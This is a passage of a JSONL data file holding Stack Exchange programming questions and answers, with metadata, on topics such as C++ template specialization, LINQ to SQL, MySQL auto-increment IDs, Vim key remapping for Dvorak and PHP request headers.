link.appendChild(document.createTextNode(caseId))\n        cell.appendChild(link)\n    }\n}\n```\n```\nYou can apply it with something like\n```\nonload = makeCasesClickable\n```\n, or simply include it right at the end of the page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:26.919571"}
{"id": "hf_ebe98a0915e0", "question": "<p>The following code:</p>\n\n<pre><code>template &lt;typename S, typename T&gt;\nstruct foo {\n   void bar();\n};\n\ntemplate &lt;typename T&gt;\nvoid foo &lt;int, T&gt;::bar() {\n}\n</code></pre>\n\n<p>gives me the error</p>\n\n<pre><code>invalid use of incomplete type 'struct foo&lt;int, T&gt;'\ndeclaration of 'struct foo&lt;int, T&gt;'\n</code></pre>\n\n<p>(I'm using gcc.) Is my syntax for partial specialization wrong? Note that if I remove the second argument:</p>\n\n<pre><code>template &lt;typename S&gt;\nstruct foo {\n   void bar();\n};\n\ntemplate &lt;&gt;\nvoid foo &lt;int&gt;::bar() {\n}\n</code></pre>\n\n<p>then it compiles correctly.</p>\n", "question_body": "", "answer": "You can't partially specialize a function. If you wish to do so on a member function, you must partially specialize the entire template (yes, it's irritating). On a large templated class, to partially specialize a function, you would need a workaround. Perhaps a templated member struct (e.g.\n```\ntemplate <typename U = T> struct Nested\n```\n) would work. Or else you can try deriving from another template that partially specializes (works if you use the\n```\nthis->member\n```\nnotation, otherwise you will encounter compiler errors).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:26.956014"}
{"id": "hf_8c2848aed95a", "question": "<p>What's wrong with Linq to SQL?</p>\n\n<p>Or - what about Linq to SQL would make it unsuitable for a project, either new or existing? I want to hear about why you would <strong>not</strong> choose Linq to SQL for a particular project - including what project parameters make it unsuitable.</p>\n", "question_body": "", "answer": "Well, I have developed some applications using LINQ to SQL. One of the main problems that I find is having to layer your application. In LINQ to SQL the entity classes are tied very closely with the data access code. Also, there are some issues with DataContext which means that you can use a DataContext object to retrieve an item but you cannot transfer the item (object) to another DataContext (at least not easily).\nLINQ to SQL will be useful if you don't care about layering your application properly and also if all you wanted is to create an application in a rapid manner also know as RAPID Application Development.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:26.980077"}
{"id": "hf_13dc9c8d34fd", "question": "<p>I work with a lot of offsite developers and contractors. I ask them daily to send me a quick 5 minute status of their work for the day. I have to sometimes consolidate the status of individuals into teams and sometimes consolidate the status of a week, for end-of-period reporting to my clients.</p>\nI want to learn:\n<ul>\n<li>Items accomplished and how much time was spent on each</li>\n<li>Problems encountered and how much time was spent on each</li>\n<li>Items that will be worked on next, their estimates (in man hours) and their target dates</li>\n<li>Questions they have on the work</li>\n</ul>\nI'm looking for a format that will provide this information while:\n<ul>\n<li>Being quick for the developers to complete (5-10 minutes, without thinking too much)</li>\n<li>Easy for me to read and browse quickly</li>\n<li>Is uniform for each developer</li>\n</ul>\n<p>What would you suggest?</p>\n", "question_body": "", "answer": "Just give them a template laid out in a format that you expect to see the data returned in.  You may also consider increasing the time they are going to devote to this and removing the \"not thinking too much\" clause if you are requiring estimates for future work. I wouldn't trust an estimate that someone came up with in 5 mins. without thinking.\nIf you are currently using any project management software, it should be trivial for the developers to record and review (or even just remember) what they have done compile it for you.  Ideally they would be recording issues or questions throughout the day and not trying to come up with them just to fill in the report.\nIt seems like your \"I want to learn\" list is an excellent starting point to generate a template from. Only you will know what the perfect format for you is.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:27.004635"}
{"id": "hf_62ea1a2a3b50", "question": "<p>I read in <a href=\"http://www.ddj.com/hpc-high-performance-computing/210605281\" rel=\"noreferrer\">this article </a> that a company has created a software capable of using multiple GPU-based video cards in parallel to process hundreds of billions fixed-point calculations per second.</p>\n\n<p>The program seems to run in Windows. Is it possible from Windows to assign a thread to a GPU? Do they create their own driver and then interact with it? Any idea of how they do it?</p>\n", "question_body": "", "answer": "I imagine that they are using a language like\nCUDA\nto program the critical sections of code on the GPUs to accelerate their computation.\nThe main function for the program (and its threads) would still run on the host CPU, but data are shipped off the the GPUs for processing of advanced algorithms.  CUDA is an extension to C syntax, so it makes it easier to programmer than having to learn the older shader languages like\nCg\nfor programming general purpose calculations on a GPU.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:27.040573"}
{"id": "hf_e4ef730d8c27", "question": "<p>Does SubSonic.SqlQuery have a between/and for date ranges?  If not, what would be the best way to get a range.</p>\n", "question_body": "", "answer": "Try something like this:\n```\n```\nSqlQuery query = new SqlQuery().From(\"Table\")\n                               .WhereExpression(\"Column\")\n                               .IsBetweenAnd(\"1/1/2008\", \"12/31/2008\");\nDataSet dataSet = query.ExecuteDataSet();  // Or whatever output you need\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:27.076854"}
{"id": "hf_aa66450fe4e7", "question": "<p>In mysql, how do I get the primary key used for an insert operation, when it is autoincrementing.</p>\n\n<p>Basically, i want the new autoincremented value to be returned when the statement completes.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "MySQL's\nLAST_INSERT_ID()", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:27.116102"}
{"id": "hf_e3305ac327ea", "question": "<p>I want to display dates in the format: short day of week, short month, day of month without leading zero but including \"th\", \"st\", \"nd\", or \"rd\" suffix.</p>\n\n<p>For example, the day this question was asked would display \"Thu Oct 2nd\".</p>\n\n<p>I'm using Ruby 1.8.7, and <a href=\"http://ruby-doc.org/core/Time.html#method-i-strftime\" rel=\"noreferrer\">Time.strftime</a> just doesn't seem to do this.  I'd prefer a standard library if one exists.</p>\n", "question_body": "", "answer": "You can use active_support's ordinalize helper method on numbers.\n```\n```\n>> 3.ordinalize\n=> \"3rd\"\n>> 2.ordinalize\n=> \"2nd\"\n>> 1.ordinalize\n=> \"1st\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:27.139514"}
{"id": "hf_568f3cd0752a", "question": "<p>I'm failing to understand exactly what the IF statement is doing, from what I can see it is checking if the variable <code>x</code> is equal to the int <code>0</code>. If this is <code>true</code> the ABSOLUTE value of the variable <code>y</code> is returned... this is when I lose the plot, why would the return statement then go on to include <code>&lt;= ESPILON</code>? Surely this means less than or equal to the value of epsilon? if so how is that working? If it doesn't mean that then what does it mean?</p>\n\n<p>(JAVA CODE)</p>\n\n<pre><code>final double EPSILON = 1E-14;\nif (x == 0)\n    return Math.abs(y) &lt;= EPSILON;\n</code></pre>\n", "question_body": "", "answer": "It returns true if the absolute value of y is <= EPSILON, and false otherwise. The <= is evaluated before the return statement. This code is equivalent:\n```\n```\nif(x == 0)\n{\n   boolean ret = Math.abs(y) <= EPSILON;\n   return ret;\n}\n```\n```\nThe code isn't simply read from left to right. A simpler example is\n```\n```\nint x = 3 + 4 * 5;\n```\n```\nAfter evaluating this, x is 23, not 35. The evaluation is 3 + (4*5), not (3+4)*5, because the * has a higher precedence than the +. The return statement in the original example has a very low precedence. All operators like +, -, <, >= are evaluated before it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:27.163493"}
{"id": "hf_029be81580e5", "question": "<p>I have some c(++) code that uses sprintf to convert a uint_64 to a string.  This needs to be portable to both linux and Solaris.</p>\n\n<p>On linux we use %ju, but there does not appear to be any equivalent on Solaris.  The closest I can find is %lu, but this produces incorrect output.  Some sample code:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;sys/types.h&gt;\n\n#ifdef SunOS\ntypedef uint64_t u_int64_t;\n#endif\n\nint main(int argc, char **argv) {\n    u_int64_t val = 123456789123L;\n\n#ifdef SunOS\n    printf(\"%lu\\n\", val);\n#else\n    printf(\"%ju\\n\", val);\n#endif\n}\n</code></pre>\n\n<p>On linux, the output is as expected; on Solaris 9 (don't ask), it's \"28\"</p>\n\n<p>What can I use?</p>\n", "question_body": "", "answer": "You can use\n```\n%llu\n```\nfor long long. However, this is not very portable either, because\n```\nlong long\n```\nisn't guaranteed to be 64 bits. :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:27.187184"}
{"id": "hf_d7f17b43e8bc", "question": "<p>How can I check the umask of a program which is currently running?</p>\n\n<p>[update: another process, not the current process.]</p>\n", "question_body": "", "answer": "If you're the current process, you can write a file to /tmp and check its setting.  A better solution is to call umask(3) passing zero - the function returns the setting prior to the call - and then reset it back by passing that value back into umask.\nThe umask for another process doesn't seem to be exposed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:27.223808"}
{"id": "hf_8c3b4895b9ef", "question": "<p>Although I played with it before, I'm finally starting to use <a href=\"http://en.wikipedia.org/wiki/Dvorak_Simplified_Keyboard\" rel=\"noreferrer\">Dvorak (Simplified)</a> regularly. I've been in a steady relationship with Vim for several years now, and I'm trying to figure out the best way to remap the key bindings to suit my newfound Dvorak skills.</p>\n\n<p>How do <em>you</em> remap Vim's key bindings to best work with Dvorak?</p>\n\n<p>Explanations encouraged!</p>\n", "question_body": "", "answer": "I use one of the more\ncommon recommended keybindings\n:\n```\n```\nDvorak it!\nno d h\nno h j\nno t k\nno n l\nno s :\nno S :\nno j d\nno l n\nno L N\nAdded benefits\nno - $\nno _ ^\nno N <C-w><C-w>\nno T <C-w><C-r>\nno H 8<Down>\nno T 8<Up>\nno D <C-w><C-r>\n```\n```\nMovement keys stay in the same location.  Other changes:\nDelete 'd' -> Junk 'j'\nNext 'n' -> Look 'l'\nPrevious 'N' -> Look Back 'L'\nThere were also some changes for familiarity, 's'/'S' can be used to access command mode (the old location of the :, which still works).\nAdded Benefits\nEnd of line '$' -also- '-'\nBeginning of line '^' -also- '_'\nMove up 8 'T'\nMove down 8 'H'\nNext window\n```\n<C-w><C-w>\n```\n-also- 'N'\nSwap windows\n```\n<C-w><C-r>\n```\n-also- 'D'\n-Adam", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:27.248077"}
{"id": "hf_c3a0d0d4d475", "question": "<p>If I load the nextimg URL manually in the browser, it gives a new picture every time I reload. But this bit of code shows the same image every iteration of <code>draw()</code>.</p>\n\n<p>How can I force myimg not to be cached?</p>\n\n<pre><code>&lt;html&gt;\n  &lt;head&gt;\n    &lt;script type=\"text/javascript\"&gt;\n      function draw(){\n        var canvas = document.getElementById('canv');\n        var ctx = canvas.getContext('2d');\n        var rx;\n        var ry;\n        var i;\n\n        myimg = new Image();\n        myimg.src = 'http://ohm:8080/cgi-bin/nextimg'\n\n        rx=Math.floor(Math.random()*100)*10\n        ry=Math.floor(Math.random()*100)*10\n        ctx.drawImage(myimg,rx,ry);\n        window.setTimeout('draw()',0);\n      }\n    &lt;/script&gt;\n  &lt;/head&gt;\n  &lt;body onload=\"draw();\"&gt;\n    &lt;canvas id=\"canv\" width=\"1024\" height=\"1024\"&gt;&lt;/canvas&gt;\n  &lt;/body&gt;\n&lt;/html&gt;\n</code></pre>\n", "question_body": "", "answer": "The easiest way is to sling an ever-changing querystring onto the end:\n```\n```\nvar url = 'http://.../?' + escape(new Date())\n```\n```\nSome people prefer using\n```\nMath.random()\n```\nfor that instead of\n```\nescape(new Date())\n```\n. But the correct way is probably to alter the headers the web server sends to disallow caching.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:27.273675"}
{"id": "hf_3f6b990914ed", "question": "<p>From the MSDN article on STAThread:</p>\n\n<blockquote>\n  <p>Indicates that the COM threading model for an application is single-threaded apartment (STA).</p>\n</blockquote>\n\n<p>(For reference, that's <a href=\"http://msdn.microsoft.com/en-us/library/system.stathreadattribute.aspx\" rel=\"noreferrer\">the entire article</a>.)</p>\n\n<p>Single-threaded apartment... OK, that went over my head. Also, I read somewhere that unless your application uses COM interop, this attribute actually does nothing at all. So what exactly does it do, and how does it affect multithreaded applications? Should multithreaded applications (which includes anything from anyone using <code>Timer</code>s to asynchronous method calls, not just threadpools and the like) use MTAThread, even if it's 'just to be safe'? What does STAThread and MTAThread actually do?</p>\n", "question_body": "", "answer": "What that does it it ensures that\n```\nCoInitialize\n```\nis called specifying COINIT_APARTMENTTHREADED as the parameter. If you do not use any COM components or ActiveX controls it will have no effect on you at all. If you do then it's kind of crucial.\nControls that are apartment threaded are effectively single threaded, calls made to them can only be processed in the apartment that they were created in.\nSome more detail from MSDN:\nObjects created in a single-threaded\n  apartment (STA) receive method calls\n  only from their apartment's thread, so\n  calls are serialized and arrive only\n  at message-queue boundaries (when the\n  Win32 function PeekMessage or\n  SendMessage is called).\nObjects created on a COM thread in a\n  multithread apartment (MTA) must be\n  able to receive method calls from\n  other threads at any time. You would\n  typically implement some form of\n  concurrency control in a multithreaded\n  object's code using Win32\n  synchronization primitives such as\n  critical sections, semaphores, or\n  mutexes to help protect the object's\n  data.\nWhen an object that is configured to\n  run in the neutral threaded apartment\n  (NTA) is called by a thread that is in\n  either an STA or the MTA, that thread\n  transfers to the NTA. If this thread\n  subsequently calls CoInitializeEx, the\n  call fails and returns\n  RPC_E_CHANGED_MODE.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:27.323299"}
{"id": "hf_d698acabb422", "question": "<p>I'm trying to produce just the day number in a WPF text block, without leading zeroes and without extra space padding (which throws off the layout). The first produces the day number with a space, the second produces the entire date. According to the <a href=\"http://msdn.microsoft.com/en-us/library/8kb3ddd4.aspx\" rel=\"nofollow noreferrer\">docs</a>, 'd' should produce the day (1-31).</p>\n\n<pre><code>string.Format(\"{0:d }\", DateTime.Today);\nstring.Format(\"{0:d}\", DateTime.Today);\n</code></pre>\n\n<p>UPDATE:Adding % is indeed the trick. Appropriate docs <a href=\"http://msdn.microsoft.com/en-us/library/8kb3ddd4.aspx#UsingSingleSpecifiers\" rel=\"nofollow noreferrer\">here</a>.</p>\n", "question_body": "", "answer": "See\nhere\nd, %d\nThe day of the month. Single-digit days do not have a leading zero. The application specifies \"%d\" if the format pattern is not combined with other format patterns.\nOtherwise d is interpreted as:\nd - 'ShortDatePattern'\nPS. For messing around with format strings, using\nLinqPad\nis invaluable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:27.373466"}
{"id": "hf_353f82c1ae65", "question": "<p>I am having fickle of problem in Oracle 9i</p>\n\n<p>select 1\"FirstColumn\" from dual;</p>\n\n<p>Oracle throwing error while executing above query. ORA-03001: unimplemented feature in my Production server.</p>\n\n<p>The Same query is working fine in my Validation server. Both servers are with Oracle 9i</p>\n\n<p>Any one have Idea what's wrong...? Is this something configurable item in Oracle server.</p>\n", "question_body": "", "answer": "What is the full Oracle version on both servers?  9i is a marketing label-- are you comparing a 9.0.1.x database to a 9.2.0.x database?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:27.398925"}
{"id": "hf_35239008fda9", "question": "<p>I'm looking for a way to validate the SQL schema on a production DB after updating an application version. If the application does not match the DB schema version, there should be a way to warn the user and list the changes needed.</p>\n\n<p>Is there a tool or a framework (to use programatically) with built-in features to do that?\nOr is there some simple algorithm to run this comparison?</p>\n\n<blockquote>\n  <p><strong>Update:</strong> Red gate lists \"from $395\". Anything free? Or more foolproof than just keeping the version number?</p>\n</blockquote>\n", "question_body": "", "answer": "Make a table and store your version number in there. Just make sure you update it as necessary.\n```\n```\nCREATE TABLE version (\n    version VARCHAR(255) NOT NULL\n)\nINSERT INTO version VALUES ('v1.0');\n```\n```\nYou can then check the version number stored in the database matches the application code during your app's setup or wherever is convenient.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:27.448149"}
{"id": "hf_c71409044593", "question": "<p>I need help on this following aspx code</p>\n\n<p>aspx Code:</p>\n\n<pre><code>&lt;asp:Label ID =\"lblName\" runat =\"server\" Text =\"Name\"&gt;&lt;/asp:Label&gt;\n&lt;asp:TextBox ID =\"txtName\" runat =\"server\"&gt;&lt;/asp:TextBox&gt;\n</code></pre>\n\n<p>Consider this is my aspx page content. I am going to populate the values for the TextBox only after the postback from server. But the label is also posting to the server (<code>runat=\"server\"</code>) even though it's not necessary. Should I write my code like this to save time from server with less load.</p>\n\n<p>Corrected Code:</p>\n\n<pre><code>&lt;label id =\"lblNames\"&gt;Name&lt;/label&gt;\n&lt;asp:TextBox ID =\"txtName\" runat =\"server\"&gt;&lt;/asp:TextBox&gt;\n</code></pre>\n\n<p>Only my server control will send to the server for postback and not my HTML control which has a static value.</p>\n\n<p>Please suggest whether this is the correct way of coding.</p>\n", "question_body": "", "answer": "If you take the\n```\nrunat='server'\n```\nout of the\n```\n<label>\n```\nelement then it won't be parsed as a server control. If you're not going to do anything with\n```\nlblNames\n```\nfrom the server then it is perfectly okay to leave it out.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:27.476279"}
{"id": "hf_08862448ef64", "question": "<p>I have a \"span\" element inside a \"table\" \"td\" element.  The span tag has a Title.</p>\n\n<p>I want to get the title of that span tag and pull it out to make it the \"mouseover\" tip for the \"td\" element.</p>\n\n<p>For example:</p>\n\n<p>I want to turn this:</p>\n\n<pre><code>&lt;td&gt;\n    &lt;a href=\"#\"&gt;&lt;span id=\"test\" title=\"Acres for each province\"&gt;Acres&lt;/span&gt;&lt;/a&gt;\n&lt;/td&gt;\n</code></pre>\n\n<p>Into this:</p>\n\n<pre><code>&lt;td onmouseover=\"tip(Acres for each province)\"&gt;\n    &lt;a href=\"#\"&gt;&lt;span id=\"test\"&gt;Acres&lt;/span&gt;&lt;/a&gt;\n&lt;/td&gt;\n</code></pre>\n\n<p><strong>EDIT:</strong> I don't think you guys understand.  I am trying to put the onmouseover function into the \"td\" tag.  I am NOT trying to put it into the \"span\" tag.</p>\n", "question_body": "", "answer": "something like:\n```\n```\n$(\"span#test\").mouseover( function () {\n   tip($(this).attr(\"title\"));\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:27.529066"}
{"id": "hf_e517edbf24be", "question": "<p>I have seen member functions programed both inside of the class they belong to and outside of the class with a function prototype inside of the class.  I have only ever programmed using the first method, but was wondering if it is better practice to use the other or just personal preference?</p>\n", "question_body": "", "answer": "Assuming you mean C++, it is always better to define functions\noutside\nof the class, because if you put it inside the class, compiler may try to inline it, which is not always desirable:\nIncrease in code size (every object file that includes this header might end up with a copy of the function in their code).\nBreaking binary compatibility when function definition changes.\nEven with inline functions, it is\nusually\nbetter to put definitions outside the class to improve readability of class public interface, unless the function is a trivial accessor or some other one-liner.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:27.618205"}
{"id": "hf_bf3390c9b0cb", "question": "<p>How can I detect mouse clicks regardless of the window the mouse is in?</p>\n\n<p>Perferabliy in python, but if someone can explain it in any langauge I might be able to figure it out.</p>\n\n<p>I found this on microsoft's site:\n<a href=\"http://msdn.microsoft.com/en-us/library/ms645533(VS.85).aspx\" rel=\"noreferrer\">http://msdn.microsoft.com/en-us/library/ms645533(VS.85).aspx</a></p>\n\n<p>But I don't see how I can detect or pick up the notifications listed.</p>\n\n<p>Tried using pygame's pygame.mouse.get_pos() function as follows:</p>\n\n<pre><code>import pygame\npygame.init()\nwhile True:\n    print pygame.mouse.get_pos()\n</code></pre>\n\n<p>This just returns 0,0.\nI'm not familiar with pygame, is something missing?</p>\n\n<p>In anycase I'd prefer a method without the need to install a 3rd party module.\n(other than pywin32 <a href=\"http://sourceforge.net/projects/pywin32/\" rel=\"noreferrer\">http://sourceforge.net/projects/pywin32/</a> )</p>\n", "question_body": "", "answer": "The windows way of doing it is to handle the\n```\nWM_LBUTTONDBLCLK\n```\nmessage.\nFor this to be sent, your window class needs to be created with the\n```\nCS_DBLCLKS\n```\nclass style.\nI'm afraid I don't know how to apply this in Python, but hopefully it might give you some hints.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:27.658130"}
{"id": "hf_be305ad7a8b6", "question": "<p>So i have a piece of assembly that needs to call a function with the fastcall calling convention on windows, but gcc doesn't (afaict) support it.  GCC does provide the regparm attribute but that expects the first 3 parameters to be passed in eax, edx and ecx, whereas fastcall expects the first two parameters to be passed in ecx and edx.</p>\n\n<p>I'm merely trying to avoid effectively duplicating a few code paths, so this isn't exactly critical, but it would be great if it were avoidable.</p>\n", "question_body": "", "answer": "If you're calling the function from asm then surely you have complete control over how you call the function. What's stopping you from just loading up the registers and issuing a\n```\nCALL\n```\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:27.683093"}
{"id": "hf_25a021517965", "question": "<p>I would like to ask if it is possible to show Generalization relationship in UML for a Domain Model although I understand I can do that in a Class Diagram? I did not see much examples of Domain Model displaying Generalization Relationship except in Class Diagram. If not possible, what is the best way to display that an Entity in a Domain Model is either a Entity A or Entity B or Entity C or Entity D etc ?</p>\n", "question_body": "", "answer": "You need to clarify why you're distinguishing between a domain model and a class diagram.\nOn the one hand, your domain model could simply be a class diagram of everything that could map to your database, and consume it. Hence a generalization relationship could simply depict implementation inheritance or interface inheritance.\nOn the other hand, your domain model could simply express how you expect your classes to work. In which case, it could be any of the standard UML diagrams: class, sequence, collaboration, component, activity, etc.\nADD: are you talking about finding different ways to categorize your persistent entities like a tagging system? Or you could make it possible to have a persistent entity have many nodes in a category tree?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:27.729105"}
{"id": "hf_737a11836ba2", "question": "<p>I have Windows Vista MCML app, and I need to figure out the current name of the file playing.</p>\n\n<p>The Media Center SDK alludes to using MediaMetadata[\"Title\"] to get this information, unfortunately this does not work with playlists (.wpl) files as there is no method for getting the position in the playlist. </p>\n", "question_body": "", "answer": "Have you tried:\n```\n```\nMediaContext.GetProperty(TrackTitle)\n```\n```\nI've also seen samples that in the markup for the media display layout file they specify an element such as:\n```\n```\n<music-title duration = \"2000\" x=\"69\" y=\"29\" width=\"187\" height=\"20\"/>\n```\n```\nGood Luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:27.762657"}
{"id": "hf_cf1cf6421654", "question": "<p>I have a list of times in a database column (representing visits to a website).</p>\n\n<p>I need to group them in intervals and then get a 'cumulative frequency' table of those dates.</p>\n\n<p>For instance I might have:</p>\n\n<pre><code>9:01\n9:04\n9:11\n9:13\n9:22\n9:24\n9:28\n</code></pre>\n\n<p>and i want to convert that into</p>\n\n<pre><code>9:05 - 2\n9:15 - 4\n9:25 - 6\n9:30 - 7\n</code></pre>\n\n<p>How can I do that? Can i even easily achieve this in SQL? I can quite easily do it in C#</p>\n", "question_body": "", "answer": "Create a table\n```\nperiods\n```\ndescribing the periods you wish to divide the day up into.\n```\n```\nSELECT periods.name, count(time)\n  FROM periods, times\n WHERE period.start <= times.time\n   AND                 times.time < period.end\n GROUP BY periods.name\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:27.796615"}
{"id": "hf_c90f53b72141", "question": "<p>I have a Flex app that does a a fair amount of network traffic, it uses ExternalInterface to make some javascript calls (for SCORM), it loads XML files, images, video, audio and it has a series of modules that it could be loading at some point...</p>\n\n<p>So the problem is - we now have a requirement where the user needs to run this content locally on a machine that is not connected to the internet (which means they can't connect to Adobe's site to change their security settings.)  As you can imagine, when the user doubles clicks on the html page to launch this thing, they are greeted with a security warning that the swf is trying to communicate with another domain other than the one it's in.  We can't wrap it in an exe or an AIR app so I unless there is some way to tweak some obscure security settings we may be hosed.  Any idea's?</p>\n", "question_body": "", "answer": "Did you try to specify the authorized domain with:\n```\n```\nSystem.security.allowDomain(\"www.yourdomain.com\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:27.830202"}
{"id": "hf_c2b215e64f6c", "question": "<p>I was wondering if there was a way to get at the raw HTTP request data in PHP running on apache that doesn't involve using any additional extensions. I've seen the <a href=\"http://au2.php.net/http\" rel=\"noreferrer\">HTTP</a> functions in the manual, but I don't have the option of installing an extension in my environment.</p>\n\n<p>While I can access the information from $_SERVER, I would like to see the raw request exactly as it was sent to the server. PHP munges the header names to suit its own array key style, for eg. Some-Test-Header becomes HTTP_X_SOME_TEST_HEADER. This is not what I need.</p>\n", "question_body": "", "answer": "Do you mean the information contained in\n```\n$_SERVER\n```\n?\n```\n```\nprint_r($_SERVER);\n```\n```\nEdit:\nWould this do then?\n```\n```\nforeach(getallheaders() as $key=>$value)  {\n    print $key.': '.$value.\"<br />\";\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:27.855780"}
{"id": "hf_16db90618961", "question": "<p>Whenever I use the signal/slot editor dialog box, I have to choose from the existing list of slots. So the question is how do I create a custom named slot?</p>\n", "question_body": "", "answer": "Unfortunately this is not possible in Qt4.\nIn Qt3 you could create custom slots which where then implemented in the ui.h file. However, Qt4 does not use this file so custom slots are not supported.\nThere is some discussion of this issue over on\nQtForum", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:27.879266"}
